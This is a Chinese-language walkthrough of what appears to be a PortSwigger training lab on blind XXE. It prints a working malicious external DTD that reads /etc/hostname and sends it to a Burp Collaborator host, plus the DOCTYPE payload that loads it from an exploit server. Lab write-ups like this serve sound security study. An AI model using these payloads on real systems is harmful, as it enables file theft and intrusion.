第五关 利用盲 XXE漏洞 通过恶意外部 DTD 来窃取数据
这一关就是外部恶意dtd文件和xxe相结合,插入恶意外部实体,通过构造恶意 XML 请求,利用 XXE 漏洞读取目标系统的 /etc/hostname 文件内容
提示:1、靶场具有“检查库存”功能,可解析 XML 输入,但不显示结果。
2、要解决实验室问题,请泄露 /etc/hostname 文件的内容。
具体操作
1、运行burp时,访问产品页面,单击“检查库存”,找到触发的库存检查的POST /product/stock数据包,发往repeater
2、要插入外部DTD文件的话
创建一个外部恶意dtd文件,内容填写获取文件的恶意命令,并且包含burp生成的子域名实现带外交互
burp生成的子域名
uwubtfngqzqmnuqfl6ahgznxfolf9hx6.oastify.com
dtd文件,插入burp生成子域名:
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://uwubtfngqzqmnuqfl6ahgznxfolf9hx6.oastify.com/?x=%file;'>">
%eval;
%exfil;
然后点击靶场给的漏洞利用服务器——“Go to exploit server”
点击store保存
然后复制这个url
https://exploit-0a23005b0348278580af25fb0165006e.exploit-server.net/exploit/test.dtd
有个点注意下,文件名的话,直接写成exploit.dtd也是可以的,那么就是
https://exploit-0a23005b0348278580af25fb0165006e.exploit-server.net/exploit.dtd

在 XML 声明和 stockCheck 元素之间插入以下外部实体定义,通过添加引用恶意 DTD 的参数实体:
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0a23005b0348278580af25fb0165006e.exploit-server.net/exploit/test.dtd"> %xxe;]>

然后去协作者服务器查看回显,然后单击“Poll now”。如果没有看到任何互动,请等待几秒钟,然后重试:
看到应用程序因有效负载而启动的一些 DNS 和 HTTP 交互。HTTP 交互可以包含 /etc/hostname 文件的内容。
3c12eca1327d

提交文件内容答案,靶场过关
